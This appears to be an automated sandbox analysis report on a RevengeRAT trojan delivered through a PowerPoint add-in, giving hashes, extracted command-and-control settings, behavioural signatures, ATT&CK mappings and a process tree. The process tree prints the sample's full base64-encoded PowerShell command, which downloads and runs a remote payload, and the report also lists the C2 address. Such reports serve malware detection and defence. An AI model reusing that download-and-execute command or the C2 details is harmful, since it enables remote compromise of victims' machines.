revengerat | fa7701d082ff43c66e853a8cc0949bce6d2837f4190def5b75f631be0006f59a

Analysis

max time kernel
142s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-11-2024 19:46

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General

Target

fa7701d082ff43c66e853a8cc0949bce6d2837f4190def5b75f631be0006f59a.ppam
Size

27KB
MD5

e114626af1e6f60e4e0eab0da05d01e7
SHA1

b200f0ce036bb5cadce0d8d5d364413f3e7902a6
SHA256

fa7701d082ff43c66e853a8cc0949bce6d2837f4190def5b75f631be0006f59a
SHA512

b07441656c51355d07eca4f88b86c60b86d71397ea20c3550d4492dfcfc1949190b2bf85c7709d22c715752a54501146c57623078935e4a2bccde044a5e86a2e
SSDEEP

768:VPk/BU66pEhHEZzMDbO/bZlqf4CLDu0We:VkU66KhHEZzMDCDHq4w60We

Score

10^/10

revengerat nyancatrevenge discovery trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	2932	4168	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

53 2932 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2932 set thread context of 4852 2932 powershell.exe RegSvcs.exe
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

RegSvcs.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe

flow	pid	process
53	2932	powershell.exe

description	pid	process	target process
PID 2932 set thread context of 4852	2932	powershell.exe	RegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

4168 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2932 powershell.exe
2932 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2932 powershell.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

POWERPNT.EXE

pid process

4168 POWERPNT.EXE
4168 POWERPNT.EXE
4168 POWERPNT.EXE
4168 POWERPNT.EXE

pid	process
4168	POWERPNT.EXE

pid	process
2932	powershell.exe
2932	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2932	powershell.exe

pid	process
4168	POWERPNT.EXE
4168	POWERPNT.EXE
4168	POWERPNT.EXE
4168	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 4168 wrote to memory of 2932	4168	POWERPNT.EXE	powershell.exe
PID 4168 wrote to memory of 2932	4168	POWERPNT.EXE	powershell.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe
PID 2932 wrote to memory of 4852	2932	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\fa7701d082ff43c66e853a8cc0949bce6d2837f4190def5b75f631be0006f59a.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ergachxt.u4f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2932-76-0x0000022073170000-0x0000022073192000-memory.dmp

Filesize
136KB

Download
memory/2932-83-0x00000220731E0000-0x00000220731F8000-memory.dmp

Filesize
96KB

Download
memory/2932-85-0x00000220731E0000-0x00000220731F8000-memory.dmp

Filesize
96KB

Download
memory/2932-87-0x00000220731E0000-0x00000220731F8000-memory.dmp

Filesize
96KB

Download
memory/2932-91-0x00000220731E0000-0x00000220731F8000-memory.dmp

Filesize
96KB

Download
memory/2932-93-0x00000220731E0000-0x00000220731F8000-memory.dmp

Filesize
96KB

Download
memory/2932-89-0x00000220731E0000-0x00000220731F8000-memory.dmp

Filesize
96KB

Download
memory/2932-82-0x00000220731E0000-0x00000220731F8000-memory.dmp

Filesize
96KB

Download
memory/2932-81-0x00000220731E0000-0x0000022073200000-memory.dmp

Filesize
128KB

Download
memory/4168-9-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-61-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-12-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-14-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-16-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-18-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-17-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-15-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-13-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/4168-27-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-43-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-51-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-50-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-52-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-60-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download
memory/4168-11-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/4168-62-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-63-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-67-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-68-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-0-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/4168-10-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-4-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-8-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/4168-5-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/4168-6-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-7-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4168-2-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/4168-3-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/4168-1-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download
memory/4852-94-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/4852-97-0x00000000057D0000-0x0000000005D74000-memory.dmp

Filesize
5.6MB

Download